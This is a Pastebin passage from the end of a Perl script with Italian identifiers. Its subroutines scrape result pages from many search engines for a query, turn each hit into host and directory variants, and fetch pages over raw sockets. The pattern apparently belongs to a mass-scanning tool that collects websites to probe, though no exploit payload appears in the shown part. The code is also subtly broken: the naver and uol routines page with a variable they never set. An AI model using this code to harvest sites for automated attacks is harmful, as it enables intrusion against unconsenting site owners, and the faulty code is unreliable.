  1483. my $k=$1;
  1484. $k=~s/<b>//g;
  1485. $k=~s/<\/b>//g;
  1486. $k=~s/<wbr>//g;
  1487. my @grep=links($k);
  1488. push(@lst,@grep);
  1489. }}
  1490. return @lst;
  1491. }
  1492.  
  1493. sub yahooa(){
  1494. my @lst;
  1495. my $key = $_[0];
  1496. for($b=210;$b<=1000;$b+=210){
  1497. my $Ya=("http://search.yahoo.hk/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1498. my $Res=query($Ya);
  1499. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1500. my $k=$1;
  1501. $k=~s/<b>//g;
  1502. $k=~s/<\/b>//g;
  1503. $k=~s/<wbr>//g;
  1504. my @grep=links($k);
  1505. push(@lst,@grep);
  1506. }}
  1507. return @lst;
  1508. }
  1509.  
  1510. sub yahoob(){
  1511. my @lst;
  1512. my $key = $_[0];
  1513. for($b=410;$b<=1000;$b+=210){
  1514. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1515. my $Res=query($Ya);
  1516. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1517. my $k=$1;
  1518. $k=~s/<b>//g;
  1519. $k=~s/<\/b>//g;
  1520. $k=~s/<wbr>//g;
  1521. my @grep=links($k);
  1522. push(@lst,@grep);
  1523. }}
  1524. return @lst;
  1525. }
  1526.  
  1527. sub yahooc(){
  1528. my @lst;
  1529. my $key = $_[0];
  1530. for($b=610;$b<=1000;$b+=210){
  1531. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1532. my $Res=query($Ya);
  1533. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1534. my $k=$1;
  1535. $k=~s/<b>//g;
  1536. $k=~s/<\/b>//g;
  1537. $k=~s/<wbr>//g;
  1538. my @grep=links($k);
  1539. push(@lst,@grep);
  1540. }}
  1541. return @lst;
  1542. }
  1543.  
  1544. sub yahood(){
  1545. my @lst;
  1546. my $key = $_[0];
  1547. for($b=810;$b<=1000;$b+=210){
  1548. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1549. my $Res=query($Ya);
  1550. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1551. my $k=$1;
  1552. $k=~s/<b>//g;
  1553. $k=~s/<\/b>//g;
  1554. $k=~s/<wbr>//g;
  1555. my @grep=links($k);
  1556. push(@lst,@grep);
  1557. }}
  1558. return @lst;
  1559. }
  1560.  
  1561. sub baidu(){
  1562. my @lst;
  1563. my $key = $_[0];
  1564. for($b=0;$b<=1000;$b+=50){
  1565. my $baidu=("http://www.baidu.com/s?lm=0&si=&rn=50&wd=".key($key)."&pn=".$b);
  1566. my $Res=query($baidu);
  1567. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1568. if ($1 !~ /google/){
  1569. my $k=$1;
  1570. my @grep=links($k);
  1571. push(@lst,@grep);
  1572. }}}
  1573. return @lst;
  1574. }
  1575.  
  1576. sub altavista(){
  1577. my @lst;
  1578. my $key = $_[0];
  1579. for($b=1;$b<=1000;$b+=10){
  1580. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1581. my $Res=query($AlT);
  1582. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1583. if($1 !~ /altavista/){
  1584. my $k=$1;
  1585. $k=~s/<//g;
  1586. $k=~s/ //g;
  1587. my @grep=links($k);
  1588. push(@lst,@grep);
  1589. }}
  1590. if ($Res =~ /target=\"_self\">Succ/){}
  1591. else{return @lst;}
  1592. }
  1593. return @lst;
  1594. }
  1595.  
  1596. sub naver(){
  1597. my @lst;
  1598. my $key = $_[0];
  1599. for($b=1;$b<=1000;$b+=10){
  1600. my $naver=("http://web.search.naver.com/search.naver?where=webkr&query=".key($key)."&xc=&docid=0&qt=df&lang=all&f=&r=&st=s&fd=2&start=".$i);
  1601. my $Res=query($naver);
  1602. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  1603. my $k=$1;
  1604. if($k!~/busca|uol|yahoo/){
  1605. my $k=$1;
  1606. my @grep=links($k);
  1607. push(@lst,@grep);
  1608. }}}
  1609. return @lst;
  1610. }
  1611.  
  1612. sub mozbot()
  1613. {
  1614. my @lst;
  1615. my $key=$_[0];
  1616. my $i=0;
  1617. my $pg=0;
  1618. for($i=0; $i<=100; $i+=1)
  1619. {
  1620. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  1621. my $Res=query($mozbot);
  1622. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  1623. my $k=$1;
  1624. $k=~s/ //g;
  1625. my @grep=links($k);
  1626. push(@lst,@grep);
  1627. }
  1628. if ($Res =~ /Cliquez ici pour effectuer/)
  1629. {return @lst;}
  1630. }
  1631. return @lst;
  1632. }
  1633.  
  1634. sub uol(){
  1635. my @lst;
  1636. my $key = $_[0];
  1637. for($b=1;$b<=1000;$b+=10){
  1638. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  1639. my $Res=query($UoL);
  1640. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  1641. my $k=$1;
  1642. if($k!~/busca|uol|yahoo/){
  1643. my $k=$1;
  1644. my @grep=links($k);
  1645. push(@lst,@grep);
  1646. }}}
  1647. return @lst;
  1648. }
  1649.  
  1650. sub ask(){
  1651. my @lst;
  1652. my $key=$_[0];
  1653. my $i=0;
  1654. my $pg=0;
  1655. for($i=0; $i<=1000; $i+=10)
  1656. {
  1657. my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  1658. my $Res=query($Ask);
  1659. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
  1660. my $k=$3;
  1661. $k=~s/[\"\ ]//g;
  1662. my @grep=links($k);
  1663. push(@lst,@grep);
  1664. }}
  1665. return @lst;
  1666. }
  1667.  
  1668. sub alltheweb()
  1669. {
  1670. my @lst;
  1671. my $key=$_[0];
  1672. my $i=0;
  1673. my $pg=0;
  1674. for($i=0; $i<=1000; $i+=100)
  1675. {
  1676. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1677. my $Res=query($all);
  1678. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1679. my $k=$1;
  1680. $k=~s/ //g;
  1681. my @grep=links($k);
  1682. push(@lst,@grep);
  1683. }}
  1684. return @lst;
  1685. }
  1686.  
  1687. sub google(){
  1688. my @lst;
  1689. my $key = $_[0];
  1690. for($b=0;$b<=1000;$b+=100){
  1691. my $Go=("http://www.google.com/search?hl=en&q=".key($key)."&meta=&num=100&filter=0&start=".$b);
  1692. my $Res=query($Go);
  1693. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1694. if ($1 !~ /google/){
  1695. my $k=$1;
  1696. my @grep=links($k);
  1697. push(@lst,@grep);
  1698. }}}
  1699. return @lst;
  1700. }
  1701.  
  1702. sub guruji(){
  1703. my @lst;
  1704. my $key = $_[0];
  1705. for($b=0;$b<=1000;$b+=10){
  1706. my $guruji=("http://www.guruji.com/search?q=".key($key)."&s=".$b);
  1707. my $Res=query($guruji);
  1708. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1709. if ($1 !~ /google/){
  1710. my $k=$1;
  1711. my @grep=links($k);
  1712. push(@lst,@grep);
  1713. }}}
  1714. return @lst;
  1715. }
  1716.  
  1717. sub fireball(){
  1718. my $key=$_[0];
  1719. my $inizio=1;
  1720. my $pagine=200;
  1721. my @lst;
  1722. my $av=0;
  1723. while($inizio <= $pagine){
  1724. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  1725. my $Res=query($fireball);
  1726. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  1727. if ($1 !~ /msn|live|google|yahoo/){
  1728. my $k="$1/";
  1729. my @grep=links($k);
  1730. push(@lst,@grep);
  1731. }}
  1732. $av=$av+10;
  1733. $inizio++;
  1734. }
  1735. return @lst;
  1736. }
  1737.  
  1738. sub links()
  1739. {
  1740. my @l;
  1741. my $link=$_[0];
  1742. my $host=$_[0];
  1743. my $hdir=$_[0];
  1744. $hdir=~s/(.*)\/[^\/]*$/\1/;
  1745. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1746. $host.="/";
  1747. $link.="/";
  1748. $hdir.="/";
  1749. $host=~s/\/\//\//g;
  1750. $hdir=~s/\/\//\//g;
  1751. $link=~s/\/\//\//g;
  1752. push(@l,$link,$host,$hdir);
  1753. return @l;
  1754. }
  1755.  
  1756. sub geths(){
  1757. my $host=$_[0];
  1758. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1759. return $host;
  1760. }
  1761.  
  1762. sub key(){
  1763. my $chiave=$_[0];
  1764. $chiave =~ s/ /\+/g;
  1765. $chiave =~ s/:/\%3A/g;
  1766. $chiave =~ s/\//\%2F/g;
  1767. $chiave =~ s/&/\%26/g;
  1768. $chiave =~ s/\"/\%22/g;
  1769. $chiave =~ s/,/\%2C/g;
  1770. $chiave =~ s/\\/\%5C/g;
  1771. return $chiave;
  1772. }
  1773.  
  1774. sub query($){
  1775. my $url=$_[0];
  1776. $url=~s/http:\/\///;
  1777. my $host=$url;
  1778. my $query=$url;
  1779. my $page="";
  1780. $host=~s/href=\"?http:\/\///;
  1781. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1782. $query=~s/$host//;
  1783. if ($query eq "") {$query="/";};
  1784. eval {
  1785. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1786. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1787. my @r = <$sock>;
  1788. $page="@r";
  1789. close($sock);
  1790. };
  1791. return $page;
  1792. }
  1793.  
  1794. sub unici{
  1795. my @unici = ();
  1796. my %visti = ();
  1797. foreach my $elemento ( @_ )
  1798. {
  1799. next if $visti{ $elemento }++;
  1800. push @unici, $elemento;
  1801. }
  1802. return @unici;
  1803. }
  1804.  
  1805. sub http_query($){
  1806. my ($url) = @_;
  1807. my $host=$url;
  1808. my $query=$url;
  1809. my $page="";
  1810. $host =~ s/href=\"?http:\/\///;
  1811. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1812. $query =~s/$host//;
  1813. if ($query eq "") {$query="/";};
  1814. eval {
  1815. local $SIG{ALRM} = sub { die "1";};
  1816. alarm 10;
  1817. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1818. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1819. my @r = <$sock>;
  1820. $page="@r";
  1821. alarm 0;
  1822. close($sock);
  1823. };
  1824. return $page;
  1825. }
  1826. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!